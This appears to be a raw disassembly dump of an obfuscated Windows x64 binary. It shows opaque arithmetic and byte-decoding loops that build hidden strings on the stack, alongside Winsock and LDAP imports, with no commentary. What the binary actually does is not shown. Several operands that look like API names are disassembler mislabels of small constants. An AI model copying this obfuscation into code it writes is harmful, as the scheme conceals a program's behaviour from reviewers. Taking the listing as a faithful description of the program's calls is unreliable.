movabs rdx, 0xab371e0aadcc9416
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091579
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400910da
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
jmp 0x140090ed4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009111c
movabs rcx, 0x61f47686679895a2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
movzx eax, byte [rbp + rbx + 0x750]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090922
inc rax
cmp r8, rax
jne 0x140091151
movabs rdx, 0x11493f3778b83b3c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400914a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009118d
movabs rdx, 0x7df12aacce56773e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140090922
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400911cc
movabs rdx, 0x2d45f35ddf761cd8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140090922
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140090ed4
movabs rcx, 0xdc9abc0ef095c272
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x140091579
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009122e
movabs rcx, 0x12eeb1c99b64e073
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
jmp 0x140091579
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140091266
movabs rcx, 0x7198432bbda42ba7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6f
dec rbx
inc rbx
jmp 0x140090922
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400912ab
movabs rcx, 0xd041d48ddfe376db
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 3
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090922
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140090e6e
movabs rcx, 0x2eeb65f00222c20f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
jmp 0x140091472
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140091323
movabs rdx, 0xc3e8ed0ccf312b44
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x750]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090922
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140091354
movabs rcx, 0x22927e6ef1707678
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x140091472
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009138b
movabs rcx, 0xdfe5a13335ef0ce0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140090922
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140090e1f
movabs rdx, 0x3e8f3295582e5814
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091579
movabs rdx, 0x9d38c3f77a6da348
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x750]
add r10b, dl
add r10b, r11b
jmp 0x1400915cd
movabs rcx, 0x4c8d8ca88b8d48e2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x750]
lea r10d, [r11 + rcx]
sub r10b, 0x2e
jmp 0x140091472
movabs rcx, 0xdaf5497ccde91d3b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x63
movzx eax, byte [rbp + rbx + 0x750]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090922
movabs rdx, 0x7c4bb81aaba9d207
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x31
add r10b, dl
movabs rcx, 0x2437f101141d1baf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x37
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x750], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xfbe255599cacee7c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x64
add cl, r11b
mov byte [rbp + rbx + 0x750], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x750]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090922
movabs rcx, 0x6e4d5e07784ae139
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
jmp 0x1400915cd
movabs rcx, 0xbef89556672b3b9f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
dec rbx
inc rbx
jmp 0x140090922
movabs rcx, 0x604f03f444ebf06b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
jmp 0x140091579
movabs rcx, 0x1a5729222aca537
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
movabs rcx, 0xc58e5f9ef1ddd07b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5d
add r11b, cl
mov byte [rbp + rbx + 0x750], r11b
inc r9
dec rbx
inc rbx
jmp 0x140090922
movabs rcx, 0xf3a7187eef4db469
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x21
movabs rcx, 0x74e3285002fd7615
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x6d
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x750], r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090922
movabs rcx, 0x94fd871ccd0e6935
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x73
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090922
movabs rcx, 0x86ff2d0999af7867
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x2f
movzx eax, byte [rbp + rbx + 0x750]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090922
movabs rcx, 0xb8621fef2b88481
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
jmp 0x140090920
movabs rcx, 0x5c31594de198dee7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x51
jmp 0x140090910
lea rcx, [rbp + 0x161a90c]
jmp 0x1400916dd
lea rcx, [rbp + 0xb17bd9]
jmp 0x1400916dd
lea rcx, [rbp + 0x750]
mov rdx, rdi
call fcn.140035b50
lea rdx, [0x140236c10]
lea rcx, [rbp + 0x1e0]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x50]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rsi, rax
mov byte [rbp + 0x778], 4
mov byte [rbp + 0x779], 0xeb
mov byte [rbp + 0x77a], 0xfb
mov byte [rbp + 0x77b], Ordinal_217
mov byte [rbp + 0x77c], gethostname
mov byte [rbp + 0x77d], recv
mov byte [rbp + 0x77e], 1
mov byte [rbp + 0x77f], 0xf9
mov byte [rbp + 0x780], 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x781], xmm0
mov qword [rbp + 0x791], rax
mov word [rbp + 0x799], ax
movabs r14, 0x7e45d08056d0fd04
movabs r12, 0x4ffeddfc2642bb7c
movabs r13, 0x704689a97e5af94
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rdx, 0xa47d3ab0c72e85f4
cmp rdi, 0x23
jae 0x140092653
movzx ebx, byte [rbp + rdi + 0x778]
mov r10, rbx
cmp r8, rdi
ja 0x140092647
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140091814
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x54
jmp 0x140091850
je 0x1400925c0
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009251f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400924bb
lea rax, [r9 + 3]
cmp r8, rax
je 0x140092492
lea rax, [r9 + 7]
cmp r8, rax
je 0x140092466
nop
cmp r9, rdi
ja 0x14009263b
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x140091880
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1400918c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140092414
inc rax
cmp r8, rax
je 0x1400923e3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400923ba
lea rax, [r9 + 3]
cmp r8, rax
je 0x140092393
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009235f
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140091f21
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140091ef9
lea rax, [r9 + 5]
cmp r8, rax
je 0x140091ecd
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140091e9f
lea rax, [r9 + 9]
cmp r8, rax
je 0x140091e8b
lea rax, [r9 + 6]
cmp r8, rax
je 0x140091e68
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140091e30
lea rcx, [r9 + 0xa]
cmp r8, rcx
je 0x140091e0b
lea rax, [r9 + 8]
cmp r8, rax
je 0x140091de4
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140091dab
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400918d0
mov r8, rcx
lea r9, [rcx + 0x5a]
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x140092618
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400925f5
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140091ac2
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x140091aa4
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x140091a86
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x140091d40
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x140091ce3
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x140091c90
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140091c5d
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400918d0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140091c29
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140091c02
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140091bdd
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140091baa
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140091b87
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140091b73
lea rcx, [r9 + 8]
cmp r8, rcx
ja 0x140091b4a
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140091b19
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140091af4
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400918d0
mov r8, rcx
lea r9, [rcx + 0x7a]
jmp 0x1400918d0
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x1400918c0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x140091850
movabs rdx, 0xbe09f3390988a3ac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xa47d3ab0c72e85f4
jmp 0x1400917de
movabs rdx, 0xf22e8402b687e820
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140092433
movabs rdx, 0xa9340ea1282adc38
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400917c2
movabs rcx, 0x6039993f99cdd050
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x1400917c2
movabs rdx, 0x173f23de0b70c468
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400924ca
movabs rcx, 0xce44ae7c7d13b880
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x140092507
movabs rcx, 0x854a391aeeb6ac98
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400917c2
movabs rdx, 0x3c4fc3b96059a0b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140092543
movabs rdx, 0xf3554e57d1fc94c8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x140092578
movabs rcx, 0xaa5ad8f6439f88e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0x778]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400917c2
movabs rdx, 0x73e8b3825fb6eb1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0x778], r11b
inc rdi
jmp 0x1400917c2
movabs rdx, 0x2aee3e20d159df34
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
add r11b, dl
cmp r9, 0x200
jb 0x140091c80
movabs rdx, 0x89e5626f5c895f38
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x10]
jmp 0x140092436
movabs rdx, 0xe1f3c8bf42fcd34c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
add r11b, dl
cmp r8, 0x10
jae 0x14009230b
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400921f6
movabs rdx, 0xb01ccc9fcce6e828
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
jmp 0x140091caf
movabs rdx, 0x98f9535db49fc764
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x140092335
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14009206c
movabs rdx, 0x31d6fc1f7615eb24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140091d05
movabs rdx, 0xf5a2e30208e5ee18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x778]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400917c2
movabs rdx, 0xaca86da07a88e230
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x140092578
movabs rdx, 0x63adf83eec2bd648
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140092543
movabs rdx, 0x1ab382dd5dceca60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400917c2
movabs rcx, 0xd1b90d7bcf71be78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x140092507
movabs rdx, 0x88be981a4114b290
mov ecx, 8
jmp 0x1400924ca
movabs rdx, 0x3fc422b8b2b7a6a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400917c2
movabs rcx, 0xf6c9ad57245a9ac0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400917c2
movabs rdx, 0xadcf37f595fd8ed8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140092436
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140091f56
movabs rdx, 0xa47d3ab0c72e85f4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140091d63
jne 0x140091f90
movabs rcx, 0xfc8ba100ada1fa08
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0x778]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400917c2
inc rax
cmp r8, rax
jne 0x140091fcf
movabs rcx, 0xd77b012558b91dc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400917c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140092004
movabs rdx, 0x696febe875733590
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400924de
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009203a
movabs rcx, 0xb26a614a03d04178
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x1400917c2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140091d63
movabs rdx, 0x445f4c0d208a5948
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140092433
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009209d
movabs rdx, 0x7ad171810472f70c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x54
jmp 0x140092433
inc rax
cmp r8, rax
jne 0x1400920da
movabs rdx, 0xc3cbe6e292d002f4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400917c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140092110
movabs rcx, 0xcc65c44212d0edc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
dec rdi
inc rdi
jmp 0x1400917c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140092145
movabs rdx, 0x9ebb47073de726ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140092507
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140092185
movabs rcx, 0xe7b5bc68cc443294
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xc
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400917c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400921b5
movabs rcx, 0x30b031ca5aa13e7c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x140092546
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140091d05
movabs rcx, 0xc2a51c8d775b564c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
movzx eax, byte [rbp + rdi + 0x778]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400917c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092237
movabs rcx, 0xf91742015b43f410
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0x778]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400917c2
inc rax
cmp r8, rax
jne 0x140092266
movabs rcx, 0x8b0c2cc477fe0be0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140092546
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400922a6
movabs rcx, 0xd406a226065b17c8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400917c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400922db
movabs rdx, 0x1d01178794b823b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140092507
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140091cb2
movabs rcx, 0x40eaed0dce2c5350
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x140092436
movabs rdx, 0xd2dfd7d0eae66b20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x778]
jmp 0x1400924d8
movabs rcx, 0x1bda4d3279437708
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x778]
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x140092546
movabs rcx, 0xf13f0ee5816682c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
movzx eax, byte [rbp + rdi + 0x778]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400917c2
movabs rdx, 0xa22fa60690452ca4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x1400924de
movabs rcx, 0x593530a501e820bc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
dec rdi
inc rdi
jmp 0x1400917c2
movabs rdx, 0x103abb43738b14d4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400917c2
movabs rdx, 0xc74045e1e52e08ec
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
add r11b, dl
movabs rcx, 0x2e629d2023b7e52c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x34
add cl, bl
mov byte [rbp + rdi + 0x778], cl
inc r9
dec rdi
inc rdi
jmp 0x1400917c2
movabs rcx, 0xec50e5bd3a16e534
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
inc r9
dec rdi
inc rdi
jmp 0x1400917c2
movabs rcx, 0xa356705babb9d94c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
dec rdi
inc rdi
jmp 0x1400917c2
movabs rdx, 0x5a5bfafa1d5ccd64
mov ecx, Ordinal_35
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x775d1281b214f114
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_60
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, bl
mov byte [rbp + rdi + 0x778], dl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400917c2
mov rbx, r10
movabs rdx, 0x7f6c9ad57245a9ac
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xc05787e34071fcfc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x778], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x64d4c29407a082f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x778], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x778]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400917c2
movabs rcx, 0xed77b012558b91dc
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 4
movzx eax, byte [rbp + rdi + 0x778]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400917c2
movabs rcx, 0x750f7dd77b2b97c4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5c
jmp 0x1400917be
movabs rcx, 0x2c150875ecce8bdc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x1400917a7
lea rcx, [rbp + 0x1420768]
jmp 0x14009265a
lea rcx, [rbp + 0x708d5c]
jmp 0x14009265a
lea rcx, [rbp + 0x778]
mov rdx, rsi
call fcn.140035b50
lea rdx, [0x140236af0]
lea rcx, [rbp + 0x200]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x40]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0x7a0], 0xf4
